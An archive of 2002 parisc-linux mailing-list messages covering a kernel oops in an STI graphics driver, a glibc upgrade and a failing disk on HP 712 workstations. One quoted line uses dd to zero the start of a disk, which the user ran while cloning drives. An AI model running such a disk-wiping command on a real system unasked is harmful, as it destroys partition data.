List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16918

Hi,

first I got that far:

--- 8< 8< 8< ---
....
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A_Z
STI word mode ROM at f0025000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280

Stack Dump:
 10034780:  0004ff0f 00000000 00000000 00000000
 10034770:  00000000 10143b28 00000000 00000000
 10034760:  00000000 00000000 80000000 00000000
 10034750:  102ac010 00000066 1036393c 00000000
 10034740:  102ac010 00000000 00000000 00000000
 10034730:  00000000 101f6aec 00000000 00000000
 10034720:  00000000 1036fea0 00000188 00000000
 10034710:  00000000 10360810 10360010 00000000
 10034700:  00000000 00000000 00000000 00000000
 100346f0:  00000000 101c531c 00000000 00000000
 100346e0:  00000000 00000000 00000000 00000000
 100346d0:  00000000 1036072c 00000000 00000000

Kernel addresses on the stack:
 [<10143b28>]  [<101f6aec>]  [<101c531c>]  [<101c5410>]
 [<101c531c>]  [<1010d2fc>]  [<101c5af8>]  [<1010d2fc>]
 [<10147928>]  [<101ace68>]  [<10143db8>]  [<10126c04>]
 [<10143f70>]  [<101f490c>]  [<101f4380>]  [<10147928>]
 [<101c55b4>]  [<101c9c84>]  [<10143db8>]  [<101f33c8>]
 [<101002b8>]  [<10109c54>]

Kernel Fault: Code=26 regs=10034780 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 00000400 1036393c 00002000
r04-07  00000066 1036393c 00000000 15f7cc00
r08-11  10367010 10029c60 000000a0 000000a0
r12-15  00000140 00000040 00005000 00000000
r16-19  10034488 15f45000 1036072c 00000000
r20-23  00000013 00000000 10029c60 00000000
r24-27  00000000 00000000 00000040 10288010
r28-31  00000500 00000400 10034780 101fa578
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101fa59c 101fa5a0
 IIR: 0ea01096    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 10034000 CR31: 102b2000
 ORIG_R28: 00000000
--- 8< 8< 8< ---



then I added some printk's to see where it actually happens and
I got that far:

--- 8< 8< 8< ---
...
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
Stack Dump:
--- 8< 8< 8< ---

so I added some more printk's and got *suprise* that far:

--- 8< 8< 8< ---
...
STI GSC/PCI graphics driver version 0.9
Stack Dump:
--- 8< 8< 8< ---


How to debug this one ???


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5.47-paX STI(?) null pointer deref
Date: Sun, 24 Nov 2002 12:42:08 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20021124204208.GO21187@tausq.org>
References: <Pine.BSF.4.44.0211242029230.39295-100000@e0-0.zab2.int.zabbadoz.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621965 17648 80.91.229.3 (22 Nov 2014 02:06:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 24 13:37:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21100482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 13:37:21 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 79D33CDB18; Sun, 24 Nov 2002 12:42:08 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.44.0211242029230.39295-100000@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16919

> How to debug this one ???

take a look at http://www.parisc-linux.org/faq/kernelbug-howto.html

for 2.5, if you are doing native compiles, you can also turn on
CONFIG_KALLSYMS to make the stack dump a bit more useful.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Sun, 24 Nov 2002 21:55:21 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <20021125025521.GB30092@systemhalted>
References: <200211211605.gALG5IFM000465@hiauly1.hia.nrc.ca> <3DAAAD460000417C@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621966 17658 80.91.229.3 (22 Nov 2014 02:06:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:06 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 24 18:55:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAFA6482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Nov 2002 18:54:59 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18G9P8-0007qM-00; Sun, 24 Nov 2002 21:55:22 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	jsoe0708@tiscali.be, John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3DAAAD460000417C@ocpmta1.be.tiscali.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16920

> 
> Do I wrongly build glibc or install?

apt-get update; apt-get upgrade;

And you hppa box should have 2.3.1-5 :)

c. 


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Mon, 25 Nov 2002 08:45:02 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <3DA3C88900004B8E@ocpmta3.be.tiscali.com>
References: <20021125025521.GB30092@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621966 17667 80.91.229.3 (22 Nov 2014 02:06:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:06 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 00:45:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id D28B6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 00:45:41 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18GDvU-0006Js-00; Mon, 25 Nov 2002 08:45:04 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 25 Nov 2002 08:45:02 +0100
In-Reply-To: <20021125025521.GB30092@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16921

>> Do I wrongly build glibc or install?
>
>apt-get update; apt-get upgrade;
>
>And you hppa box should have 2.3.1-5 :)
>
Well Ok (I would just figure out how to complete toolchain before installing
glibc-2.3.1 :()

Thanks,
    Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 11:24:34 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <02Nov25.113607cet.119049@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2946C.D9807B10"
X-Trace: ger.gmane.org 1416621966 17675 80.91.229.3 (22 Nov 2014 02:06:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:06 +0000 (UTC)
To: "'James Smith'" <james@compusmithllc.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 03:24:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90187482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 03:24:43 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119049>; Mon, 25 Nov 2002 11:36:07 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16922

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2946C.D9807B10
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: James Smith [mailto:james@compusmithllc.com]
> I just got a pile of 712/60's - $80 for 10 of em :)

I got mine (1 and a half) for free ;-)

> i've set one up & now i'm going through the disks one at a time &
> cloning them as its quicker than going through the install each time
> i've hit one disk that gives me this whenever i try to fdisk it 
> 
> sixty:~# fdisk /dev/sdb
> 
> Unable to read /dev/sdb
> 
> 
> when i tried to zero the disk, i got this....
> 
> sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 
> dd: writing `/dev/sdb': Input/output error
> 1+0 records in
> 0+0 records out

So you cannot read and cannot write to it.

> 
> the console sees the disk when i use search 
> 
> does this indicate a dead disk?
> 
> the disk was ok until i put it into a mac......

What where the results on the mac? Can you clone the disks using a mac? If
so, what are the results?

My experience: the 712 I have at home was my workhorse for over 5 years. It
never failed on me. Occasional reboots for obvious reasons never had any
problems. However, after being down for a couple of weeks, the harddisk does
not spin properly. It was reported with several of those older systems. The
ioscan and other tools that only access the firmware of the drive report no
problems. Actual access of the disk is a problem since (in my case) the disk
does not spin at all.

If you can access the data storage using your mac, you might have success
after warming the device. I know the powersupply in the 712 series is
limited and might not provide enough power to start a cold disk. You might
be able to clone disks using your mac.

In an disk array, I have a couple of disks that are all the same specs.
However, due to a hardware defect in one of them, a (HP-UX) `ioscan` reports
0 bytes for that disk where others report their actual value. If you hook
the disk to an HP-UX machine, what does `ioscan` report?

Sorry to say but I think your disk is dead

Success

CBee

------_=_NextPart_001_01C2946C.D9807B10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Disk problems</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: James Smith [<A =
HREF=3D"mailto:james@compusmithllc.com">mailto:james@compusmithllc.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt; I just got a pile of 712/60's - $80 for 10 of =
em :)</FONT>
</P>

<P><FONT SIZE=3D2>I got mine (1 and a half) for free ;-)</FONT>
</P>

<P><FONT SIZE=3D2>&gt; i've set one up &amp; now i'm going through the =
disks one at a time &amp;</FONT>
<BR><FONT SIZE=3D2>&gt; cloning them as its quicker than going through =
the install each time</FONT>
<BR><FONT SIZE=3D2>&gt; i've hit one disk that gives me this whenever i =
try to fdisk it </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; sixty:~# fdisk /dev/sdb</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Unable to read /dev/sdb</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; when i tried to zero the disk, i got =
this....</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; sixty:~# dd if=3D/dev/zero of=3D/dev/sdb =
count=3D1 bs=3D512 </FONT>
<BR><FONT SIZE=3D2>&gt; dd: writing `/dev/sdb': Input/output =
error</FONT>
<BR><FONT SIZE=3D2>&gt; 1+0 records in</FONT>
<BR><FONT SIZE=3D2>&gt; 0+0 records out</FONT>
</P>

<P><FONT SIZE=3D2>So you cannot read and cannot write to it.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; the console sees the disk when i use search =
</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; does this indicate a dead disk?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; the disk was ok until i put it into a =
mac......</FONT>
</P>

<P><FONT SIZE=3D2>What where the results on the mac? Can you clone the =
disks using a mac? If so, what are the results?</FONT>
</P>

<P><FONT SIZE=3D2>My experience: the 712 I have at home was my =
workhorse for over 5 years. It never failed on me. Occasional reboots =
for obvious reasons never had any problems. However, after being down =
for a couple of weeks, the harddisk does not spin properly. It was =
reported with several of those older systems. The ioscan and other =
tools that only access the firmware of the drive report no problems. =
Actual access of the disk is a problem since (in my case) the disk does =
not spin at all.</FONT></P>

<P><FONT SIZE=3D2>If you can access the data storage using your mac, =
you might have success after warming the device. I know the powersupply =
in the 712 series is limited and might not provide enough power to =
start a cold disk. You might be able to clone disks using your =
mac.</FONT></P>

<P><FONT SIZE=3D2>In an disk array, I have a couple of disks that are =
all the same specs. However, due to a hardware defect in one of them, a =
(HP-UX) `ioscan` reports 0 bytes for that disk where others report =
their actual value. If you hook the disk to an HP-UX machine, what does =
`ioscan` report?</FONT></P>

<P><FONT SIZE=3D2>Sorry to say but I think your disk is dead</FONT>
</P>

<P><FONT SIZE=3D2>Success</FONT>
</P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2946C.D9807B10--


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Disk problems
Date: Mon, 25 Nov 2002 06:47:46 -0800 (PST)
Lines: 79
Approved: news@gmane.org
Message-ID: <20021125144746.76741.qmail@web12502.mail.yahoo.com>
References: <02Nov25.113607cet.119049@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-592852036-1038235666=:76312"
X-Trace: ger.gmane.org 1416621967 17684 80.91.229.3 (22 Nov 2014 02:06:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 25 07:47:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id CC743482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Nov 2002 07:47:50 -0700 (MST)
Original-Received: from [12.24.253.152] by web12502.mail.yahoo.com via HTTP; Mon, 25 Nov 2002 06:47:46 PST
In-Reply-To: <02Nov25.113607cet.119049@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16923

--0-592852036-1038235666=:76312
Content-Type: text/plain; charset=us-ascii


I had a 712/100 at work that we (ok I) modified to take 2 internal disks and it ran well even though it got extremely hot inside since the 712 wasn't designed for efficiant cooling.  I was using 2 C2490s in it, but quit doing so because of the heat and also moved one of the disks to an external chassis.  The mod was done by using the internal SCSI cable of a 715 and removing the floppy drive.  Not a recommended solution, but the 712 power supply seemed to be able to keep up.
 "Beerse,_Corn" <c.beerse@torex-hiscom.nl> wrote:
> -----Original Message----- 
> From: James Smith [mailto:james@compusmithllc.com] 
> I just got a pile of 712/60's - $80 for 10 of em :) 

I got mine (1 and a half) for free ;-) 

> i've set one up & now i'm going through the disks one at a time & 
> cloning them as its quicker than going through the install each time 
> i've hit one disk that gives me this whenever i try to fdisk it 
> 
> sixty:~# fdisk /dev/sdb 
> 
> Unable to read /dev/sdb 
> 
> 
> when i tried to zero the disk, i got this.... 
> 
> sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 
> dd: writing `/dev/sdb': Input/output error 
> 1+0 records in 
> 0+0 records out 

So you cannot read and cannot write to it. 

> 
> the console sees the disk when i use search 
> 
> does this indicate a dead disk? 
> 
> the disk was ok until i put it into a mac...... 

What where the results on the mac? Can you clone the disks using a mac? If so, what are the results? 

My experience: the 712 I have at home was my workhorse for over 5 years. It never failed on me. Occasional reboots for obvious reasons never had any problems. However, after being down for a couple of weeks, the harddisk does not spin properly. It was reported with several of those older systems. The ioscan and other tools that only access the firmware of the drive report no problems. Actual access of the disk is a problem since (in my case) the disk does not spin at all.

 

****This is exactly why we as HP techs don't shutdown any external disks while trouble shooting unless absolutely necessary.  Disks failing to spin back up after being run for so long is a very comman occurance.  Usually its due to the disk being heat soaked after the system fans shut off.  Even though the disks stop producing heat after the power is off the fans stop cooling them.  The resulting heat soak can sometimes prevent the drive from spinning up.

****If you do have access to an HPUX system, a diskinfo -v /dev/rdsk/cXtXdX command would probably be better to use than an ioscan.  If the diskinfo comes back with something like "cannot access," then the drive controller board is dead.  If it comes back with a response with Obytes for the drive size than it means the drive controller is working, but the drive has stopped spinning.

 

derek



---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-592852036-1038235666=:76312
Content-Type: text/html; charset=us-ascii

<P>I had a 712/100 at work that we (ok I) modified to take 2 internal disks and it ran well even though it got extremely hot inside since the 712 wasn't designed for efficiant cooling.&nbsp; I was using 2 C2490s in it, but quit doing so because of the heat and also moved one of the disks to an external chassis.&nbsp; The mod was done by using the internal SCSI cable of a 715 and removing the floppy drive.&nbsp; Not a recommended solution, but the 712 power supply seemed to be able to keep up.
<P>&nbsp;<B><I>"Beerse,_Corn" &lt;c.beerse@torex-hiscom.nl&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<META content="MS Exchange Server version 5.5.2654.45" name=Generator>
<P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; From: James Smith [<A href="mailto:james@compusmithllc.com">mailto:james@compusmithllc.com</A>]</FONT> <BR><FONT size=2>&gt; I just got a pile of 712/60's - $80 for 10 of em :)</FONT> </P>
<P><FONT size=2>I got mine (1 and a half) for free ;-)</FONT> </P>
<P><FONT size=2>&gt; i've set one up &amp; now i'm going through the disks one at a time &amp;</FONT> <BR><FONT size=2>&gt; cloning them as its quicker than going through the install each time</FONT> <BR><FONT size=2>&gt; i've hit one disk that gives me this whenever i try to fdisk it </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; sixty:~# fdisk /dev/sdb</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; Unable to read /dev/sdb</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; when i tried to zero the disk, i got this....</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 </FONT><BR><FONT size=2>&gt; dd: writing `/dev/sdb': Input/output error</FONT> <BR><FONT size=2>&gt; 1+0 re
 cords in</FONT> <BR><FONT size=2>&gt; 0+0 records out</FONT> </P>
<P><FONT size=2>So you cannot read and cannot write to it.</FONT> </P>
<P><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; the console sees the disk when i use search </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; does this indicate a dead disk?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; the disk was ok until i put it into a mac......</FONT> </P>
<P><FONT size=2>What where the results on the mac? Can you clone the disks using a mac? If so, what are the results?</FONT> </P>
<P><FONT size=2>My experience: the 712 I have at home was my workhorse for over 5 years. It never failed on me. Occasional reboots for obvious reasons never had any problems. However, after being down for a couple of weeks, the harddisk does not spin properly. It was reported with several of those older systems. The ioscan and other tools that only access the firmware of the drive report no problems. Actual access of the disk is a problem since (in my case) the disk does not spin at all.</FONT></P>
<P>&nbsp;</P>
<P>****This is exactly why we as HP techs don't shutdown any external disks while trouble shooting unless absolutely necessary.&nbsp; Disks failing to spin back up after being run for so long is a very comman occurance.&nbsp; Usually its due to the disk being heat soaked after the system fans shut off.&nbsp; Even though the disks stop producing heat after the power is off the fans stop cooling them.&nbsp; The resulting heat soak can sometimes prevent the drive from spinning up.</P>
<P>****If you do have access to an HPUX system, a diskinfo -v /dev/rdsk/cXtXdX command would probably be better to use than an ioscan.&nbsp; If the diskinfo comes back with something like "cannot access," then the drive controller board is dead.&nbsp; If it comes back with a response with Obytes for the drive size than it means the drive controller is working, but the drive has stopped spinning.</P>
<P>&nbsp;</P>
<P>derek</P></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-592852036-1038235666=:76312--


From - Thu Nov 08 21:25:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-rc1-pa7 boot problem
Date: Mon, 25 Nov 2002 17:39:41 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <3DA3C88900004E55@ocpmta3.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621967 17693 80.91.229.3 (22 Nov 2014 02:06:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
